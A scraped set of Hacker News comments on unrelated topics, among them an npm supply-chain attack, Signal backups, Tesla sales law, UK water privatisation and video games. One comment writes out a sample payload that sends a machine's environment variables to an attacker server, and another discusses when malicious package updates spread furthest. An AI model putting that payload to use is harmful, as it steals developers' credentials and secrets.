MurphyA/hacker-news huggingface dataset:
by Y-bar | 2025-09-09 12:30:39+00:00
We are unfortunately rehashing the same arguments from Github, nothing prevents Signal from distrusting Apple by default.

But there is also nothing (except for some secret reason they refuse to elaborate) that prevents them from allowing users to actively chose to trust Apple. Except for their own internal reasons, that is.

It's the user's data after all. The user should be able to control and access it. Sensible defaults makes sense, but the outright refusal to explain why they prevent it is very odd. I have a decent "IT hygiene", I keep my operating system updated with patches, I don't download pirated/cracked software, I have hardware-enabled encryption on my storage devices, I have a good password for my local account, I encrypt my local iPhone backups.

Why should I not be allowed to include my Signal chats in those local backups? Signal has never answered that question, which is very strange.
by sirwhinesalot | 2025-09-09 12:30:41+00:00
I like how it's handled in Herb's cpp2/cppfront. If the type implements certain methods (like size()), and you turn on bounds checking, then the indexing operations (which are unsafe) are wrapped in i < c.size() ? c[i] : <throw or abort>.

This way the indexing operation itself doesn't need to have bounds checks and it's easier for the compiler to optimize out the checks or for an "unchecked" section to be requested by the programmer.
by spwa4 | 2025-09-09 12:30:52+00:00
Tesla's genius move is just the opposite, it is to oppose online sales of cars through law. Let me explain.

Ever notice how defense of corruption is often described as something being a "genius move" by one company, totally discounting that the same move is illegal for all their competitors. Usually, to mask the open corruption, this is then masked as a detail of some law, or multiple laws. A law which when looked at is really complicated and detailed and "just happens" to target every competitor except one company?

The detail in question is that almost all US states prohibit "direct sales", meaning car manufacturers have to sell through independent dealerships. So technically you can buy a Ford online, just not from Ford, you have to go through a dealership. The exception in a number of states is that you can buy a car from the manufacturer if there are no dealerships ... and Tesla never had any dealerships. The other car manufacturers can't sell online, because their dealerships are independent, and they are legally forced to treat them equally. They'd have to force dealerships into bankruptcy and only then they'd be allowed to sell online. Not the dealerships in a particular state, mind you, all of them, across the entire US.

Of course, other vendors that are in the same position as Tesla, don't get this advantage, for example BYD, but also a number of European and even an Indian automaker that only have dealerships in a very limited number of states, and should, in theory, be allowed to sell cars directly in most states. Well, they're not allowed. Trade deals, tariffs, ... but somehow they can't do it (perhaps this is why Elon Musk joined Trump, if so, it would make Musk and Trump not just corrupt, but incompetent at corruption, given the title of this ycombinator story)

See how the "genius move" of Tesla really works? It is not at all the decision to sell online. The genius move of Tesla is exactly the opposite of what you claim: Tesla opposes online sales of cars, and for this to be enforced legally. Against everyone but Tesla, of course.

Of course, anyone who has gone to a Tesla demonstration knows that there is zero actual difference between a car dealership where you check out a physical car and then order on a computer over the internet with a salesperson assisting, and a Tesla demonstration where you check out a physical car and then order on a computer over the internet with a salesperson assisting.

And, obviously, yes, Musk is still lobbying and has lobbied [1] (ie. paid money to politicians) to keep things this way. Of course, other car manufacturers also lobby. I guess Tesla pays better.

[1] "Tesler, great buy!" Trump https://www.nbcnews.com/tech/elon-musk/trump-musk-tesla-whit...
by naugtur | 2025-09-09 12:31:37+00:00
Absolutely not. you get npm packages by pulling not them pushing them to you as soon as a new version exist. The likelyhood of you updating instantly is close to zero and if not, you should set your stuff up so that it is. Many ways to do that. Even better if compared to a month or two - which is how long it often takes for a researcher to find a carefully planted malware.

Anyway, the case where reactive tools (detections, warnings) don't catch it is why LavaMoat exists. It prevents whole classes of malware from working at runtime. The article (and repo) demonstrates that.
by roywiggins | 2025-09-09 12:31:39+00:00
> These are people who believe deeply that understanding code at a fundamental level is non-negotiable. They can spot inefficient algorithms, they know why certain design patterns exist, they understand the underlying systems well enough to debug problems that AI tools can't handle.

What about the people who just want to have a pretty good idea of what the actual code is doing? Like, at a highish level, such as "reading some Typescript and understanding roughly how React/Redux will execute it." Not assembly, not algorithms development, but just nuts and bolts "how does data flow through this system." AI is great at making a good stab at common cases, but if you never sit down and poke through the actual code you are at best divining from shadows on the cave wall (yes it's shadows all the way down, but AI is so leaky that it can't really be considered an abstraction).

Just the other day I had GPT 4o spit out extremely plausible looking SQL that "faked" the join condition because two tables didn't have a simple foreign key relationship, so it wrote out

select * from table_a JOIN table_b ON table_b.name = 'foo'

Perfectly legal SQL that is quietly doing something that was entirely nonsensical. Nobody would intentionally write a JOIN... ON clause like this, and in context an outer join made no sense at all, but buried in several CTEs it took a nonzero amount of time to spot.
by psd1 | 2025-09-09 12:32:18+00:00
Five-year election cycle, and the dominant party is very good at controlling the narrative

Selling public infrastructure lets you give tax cuts now, and you'll be long gone before people recognise that they are paying more and getting less. It's much like MBAs making cuts - you can boost the bottom line in the short term and be gone before the blame starts gathering

We have a fptp electoral process, which means there are a lot of safe seats in parliament. In battleground seats, a vote for the third party is effectively a vote for the first. People who want not-the-incumbent cannot choose which party they actually do want. I personally have been disenfranchised all my adult life, MEP votes excluded. (If I could change only one thing, I would abolish fptp.)

Moreover, like most populous Western countries, most of the electorate is not well educated on politics or economics; they get their political news from limited sources, and they don't seek information that challenges their prior beliefs.

These facts combine to reduce electoral accountability.

Having flogged the public infra, renationalisation is tricky. You either buy it back at market value, which means imposing a tax burden and playing into your opponent's electoral strategy, or you seize it and spook capital markets, which also plays into your opponent's electoral strategy.
by komali2 | 2025-09-09 12:32:19+00:00
I was already rambling but didn't mention that Audrey Tang was one of the reasons I moved to Taiwan. Somewhat ironically they are an anarchist. I always meant to ask them how they square that with working as a minister. They have a HN account they sometimes post on, but I lost it.

When Audrey Tang was digital minister, you could just walk into their office during office hours and talk about whatever you wanted, so long as you consented to the meeting being recorded and uploaded to youtube. I met them at a g0v hackathon once and came to say hello, and they bade me sit down struck up an instantly deep-dive conversation into how to maintain data integrity using technology like ipfs what with the PRC constantly cutting our fiber cables.

I'm not quite sure what they're up to now that they're tenure's over, I saw their face on a massive billboard about some tech conference and heard a rumor that they're teaching at some university in like Australia or some such?
by pixl97 | 2025-09-09 12:32:36+00:00
Really I'd say the key here is timing. I didn't look into what time the NPM packages were updated, but there are a few key times depending on what markets you're targeting. If it were Indian devs it would be around 2AM CST and if it's US devs it would be around 10AM CST.

This is when I see the ramp up in queuing in CI/CD builds that lasts a few hours across companies and is more likely to trigger a package getting rebuilt.
by msuniverse2026 | 2025-09-09 12:32:41+00:00
According to the TXId he bought it on 9 May 2022. Wonder what else he could've dumped $425k into instead. Gold was $1881 now its $3647. He could've had like $820k worth in beautiful gold coins. Maybe it is better he got burned by the NFT than dragon sickness.
by bargainbin | 2025-09-09 12:33:06+00:00
It shouldn’t be considered a source of profit at all, attractive or not. Water is a fundamental resource for human life. We pay bills to ensure the infrastructure is there to provide it.

If the infrastructure isn’t there, we haven’t received what we paid for. Worse, without EU regulation these companies are now blasting sewage into lakes and rivers. Ofwat can’t do anything.

At this point I feel there’s no solution other than nationalising the infrastructure again and ploughing billions of tax payers money into yet another failed Thatcher initiative.

Of course that will never happen, because we’ve not had a government willing to make sweeping changes like that since Thatcher. Except maybe Liz Truss with her exceptional grasp of economics.
by MarkusWandel | 2025-09-09 12:33:49+00:00
A lot of stuff is casually forgotten. It may live on in a private collection or a dusty filing cabinet somewhere but not accessibly.

People used to design scientific calculators out of a relatively modest number of discrete transistors and diodes. Telephone central offices used to run on a hardwired relay computer called the "marker". How many people still walk this earth who can design stuff like that? More immediately, with your phone casually using integrated circuits with transistor counts in the billions to watch a Youtube video... people used to watch off-the-air colour TV where the TV in question was made out of less than two dozen vacuum tubes, equivalent to 1-2 transistors each. That stuff is still easily found but in another few decades will also be essentially forgotten.

Oh, and what would it take to manufacture, say, Cibachrome paper and Kodachrome film? I know the Polaroid instant film technology has been laboriously resurrected but lots of obsolete chemical processes are essentially lost.
by txrx0000 | 2025-09-09 12:33:51+00:00
They're not trying to trick you. In fact when they were measuring perf/watt, the Lunar Lake chip was disadvantaged against the Apple M-series because they had to run the SPEC 2017 tests on Ubuntu for the Lunar Lake chip, which has poorer tuning for it compared to Windows 11. You can see a footnote saying the compilation environment was Ubuntu 24.04 LTS on the bottom left corner of the frame when they show the perf/watt graphs.
by eviks | 2025-09-09 12:33:57+00:00
Contra has a primitive gameplay (like the basic movement/jump design), so the complexity of interaction is lower, and a couple of boss fights I've watched is literally moving the player in 5 different positions and just shooting around, maybe with a couple of jumps in between, so also nothing as complex.

And a sequence of 30 bosses is too spread out to be comparable to a single condensed boss fight.

Besides that, I don't knows how buggy those bosses are, so can't compare how much of the difficulty is positive

But in general, it doesn't have to be different? The author describes a common principle of separating "good/rewarding" difficulty from bad, any game can be improved by removing invisible hitboxes that frustrate you...
by germandiago | 2025-09-09 12:34:22+00:00
We are not at that point. There is a lot to improve in terms of contrxt and specialization.

I really think AI is tremendously over-hyped and AGI is just selling and making money for the people who believe it is even possible.

These tools are probabilistic parrots and the proof is that when you give them something for which not much documentation exist they start to hallucinate a lot.
by diggan | 2025-09-09 12:34:39+00:00
> It is, if your packages are popular enough then npm will force you to enable 2FA.

Are they actively forcing it? I've received the "Remember to enable 2FA" email notifications from NPM since 2022 I think, but haven't bothered since I'm not longer publishing packages/updates.

Besides, the email conveniently mentions their "automation" tokens as well, which when used for publishing updates, bypasses 2FA fully.
by alexey-salmin | 2025-09-09 12:35:28+00:00
UPDATE. I think I should also address this:

> if someone was clever enough to synch clocks and narrow to 200k permutations, then I'm not convinced there was actually any harm.

I don't think you understand the situation at all. In Hold'em in the end you see 7 cards: 2 in your hand and 5 on the table. That's 52x51x...x46 = 674B different sequences of open cards.

This means that by the time you see these cards you can know exactly which of the 200k permutations the engine had chosen for this hand. There's only one that precisely matches one of the 674 billions possible open cards combination that you observe.

In fact, by the time you see the flop (2+3 open cards, 311M variants), you know everyone else's cards.
by partomniscient | 2025-09-09 12:36:17+00:00
It (News Corp/Fox etc.) is a massively geared political lever that was going to get broken into 4 parts, 1 per sibling - but now it will remain wielded by a single 'heir', though not the first born: Lachlan, who is even more conservative than his father (Keith) Rupert Murdoch. So expect the spin and propoganda to continue or even get worse.

So to anyone paying attention it does feel quite pessimistic and doom-laden.
by lelanthran | 2025-09-09 12:36:38+00:00
> If only they would have had the benefit of you being around to do all that work with your glorious hindsight.

They didn't need me; plenty of repositories doing signed packages existed well before npm was created.

Which is why I likened them to a bunch of kids - they didn't look around at how the existing repos were designed, they just did the first thing that popped into their head.
by kubeio | 2025-09-09 12:36:55+00:00
I considered WebGL, and I agree—a shader is more performant for real-time effects.

But WebGL comes with drawbacks:

- You need JS code running before anything shows up.

- Shaders can’t directly manipulate the DOM render. To make refraction work, you’d have to re-render everything into a canvas—which isn’t really “the web” anymore.

With the SVG/CSS approach, you can pre-render the displacement map (at build time or on the backend) and get the refraction visible on the very first frame. Plus, it integrates cleanly with existing, traditional UIs.

That said, this approach could definitely be improved. Ideally we’d have shader-like features in the SVG Filter spec (there was a proposal, but it seems abandoned). There are some matrix operations available in SVG Filters, but they’re limited—and for my first blog post I wanted to focus more on pedagogy, art, and technique than heavy optimization.
by lazide | 2025-09-09 12:36:57+00:00
CPR is a violent process - the rib cage normally prevents the type of manipulation of the heart necessary for CPR to work. Broken ribs are pretty much an essential side effect for adults if done correctly. It’s typically only done on folks who are dead and unresponsive at the time, to try to keep their brain alive until they can get more sophisticated help. The so called ‘golden hour’ (which really is the golden 15 minutes/5 minutes if you look at success rates).

What sort of response time are we talking about from the ISS in a medical emergency? I would be shocked if it was less than a day.

They’re probably better off with a whole lot of drugs, an ultrasound, and a defibrillator. But hey, if they can afford the weight and already have those things, a cpr machine would help keep blood flowing while they try to figure things out.

Ground control has Doctors that can walk them through pretty much anything they might want to do.
by whatevaa | 2025-09-09 12:37:04+00:00
I found Act I not harsh but full of frustating elements. Traps in piss you off locations, 90% of flying enemies who dodge and are tanky for some reason. Like that one particular fly which spawns in exact precise location in runback to boss for you to collide, unless you are sprinting. Bullshit like this.

Act II get's better as you unlock more movement and the lore develops. There is some unique stuff there. Boses are also fine for me, random summons are annoying but that's what you have tools for, kill them immediatelly.
by naugtur | 2025-09-09 12:38:01+00:00
there's only one transaction that's making up most of it. Someone lost some serious 0.1 ETH or so.

500$ is nothing. it's what unsophisticated phishing makes in a day. It's what a support call scammer makes their owner in a day.

This was an attack on legitimate npm packages that end up in maybe hundreds of thousands of developer machines building tens of thousands applications.

`fetch(myserverurl+JSON.stringify(process.env)` would be orders of magnitude more profitable as payload.
Show HN: I built an operating file system for my agent (CRUD)
by JamesKachamila | 2025-09-09 12:38:11+00:00
> Why I built the “agentic storage”

Most AI agents today are stateless. They spin up, do some orchestration, maybe call a few APIs, then disappear. If you ask them to recall something they created yesterday, they usually can’t because nothing was ever persisted. That’s fine for toy demos, but if you want agents to actually be useful in day-to-day workflows, they need what every real operating system has: storage. Somewhere to write outputs, read inputs, update state, and remove what’s no longer needed. That’s what I mean by agentic storage. It’s a native file system for agents, designed with persistence, context, and automation in mind.

> How it works At its core, agentic storage exposes the four basic file operations: Create, Read, Update, Delete but reimagined for agents: * Create: Whenever an agent generates an artifact, a spreadsheet, report, dataset, chart - it gets written into storage as a file with metadata. This isn’t just raw bytes; we log who/what created it, and in what task context. * Read: Retrieval isn’t path-based. Instead of remembering /projects/2025/job_hunt/nyc_jobs.xlsx, you can say “the job hunting file” and the agent does a contextual lookup. Because the system parses files directly, agents can also “read” inside spreadsheets, images, or PDFs and act on the content. * Update: Agents can persistently modify files. Append rows, highlight values, merge in new content, or schedule recurring updates. All updates are versioned with provenance so you can track what changed and why. * Delete: Straightforward but important. Deletions are scoped to the agent’s storage (not your OS), require confirmation, and leave a trace. This makes experimentation safe.

> Beyond CRUD Because every artifact is tied back to the task that created or modified it, storage evolves into a memory graph. Files aren’t isolated blobs; they’re connected to the prompts, runs, and workflows that produced them. On top of this, there’s a built-in scheduler. You can say, “every Monday for the next 2 months, fetch new job listings and add them to my spreadsheet.” The system remembers, and it executes without requiring external orchestration tools.

> Why this matters Giving agents persistent storage changes the game. Instead of ephemeral runs that vanish after execution, you now have a foundation that compounds over time. It’s the same leap we made in computing decades ago: from temporary scripts that print to stdout, to real programs that write to disk, maintain state, and schedule tasks. Agentic storage is simply that leap for AI agents. It gives them a reliable substrate, a hard drive and an operating system, so they can build, recall, and extend their work like any other piece of software.

Feel free to try it out here -> Sellagen.com <- It’s free to use :)
by pseudocomposer | 2025-09-09 12:38:12+00:00
The US is the only capitalist country in the west, and our life expectancy is decreasing. Is paper wealth worth a short, miserable life where you work all the time?

Moreover, most of the rest of the world’s poverty exists so that a few greedy pigs here can be even more wealthy. We have the CIA and the one-party system that controls it to thank for that.
by j1elo | 2025-09-09 12:38:42+00:00
The original Pixel system also has this problem. ~20% of times opening the Recent Apps drawer shows empty, grayed-out rectangles in the place where the recent apps should appear, and they are not even touchable elements.

https://piunikaweb.com/2024/01/15/recent-apps-button-not-wor...

How such a glaring bug could slip through the cracks of "the iPhone of Androids"? No idea, but it suggest very poor QA.

Worse still, that bug on an essential feature of the phone (which older Android phones even had a physical button to invoke it) has been around for more than a year. Literally nobody at Google has yet sat down and checked the Jira ticket to fix an "if ()" somewhere in the code causing the bug.
by Symmetry | 2025-09-09 12:39:30+00:00
There are two separate issues here. Can an x86 be made nearly as efficient as an ARM chip with unbounded effort? Sure. But it's a lot easier to make a competent ARM design than a competent x86 design because there's so much more to the later and the front end has to be a lot more complicated to deal with the unsynchronized encoding.
by komali2 | 2025-09-09 12:39:30+00:00
> Extremely interesting! I did ask myself if all those people would like having their photos online, what with the PRC across the pond. But perhaps I'm being "old-fashioned" there.

This is my concern when I photograph protests, but in my experience the people that don't want to be identified are taking pretty big steps to ensure it, e.g. wearing masks and whatnot. Anyone else should safely assume they're being photographed, after all Taiwan has ubiquitous CCTV. And again, it's not like the USA where you shouldn't even bring your phone, and there's a high likelihood you'll be blackbagged by the cops, it's just safe and not a big deal to be at a protest. I'm very convinced Taiwanese people enjoy far more enforced rights than Americans.
by Miraltar | 2025-09-09 12:39:39+00:00
> The only other videogames that have this much focus on movement alone are the Mario 3D platformers — Mario 64, Mario Sunshine, Mario Galaxy 1 and 2, and Mario Odyssey.

Right. Cause you know all the games that exist. I know it's meant as a superlative and not to be interpreted literally but I hate this type of statements.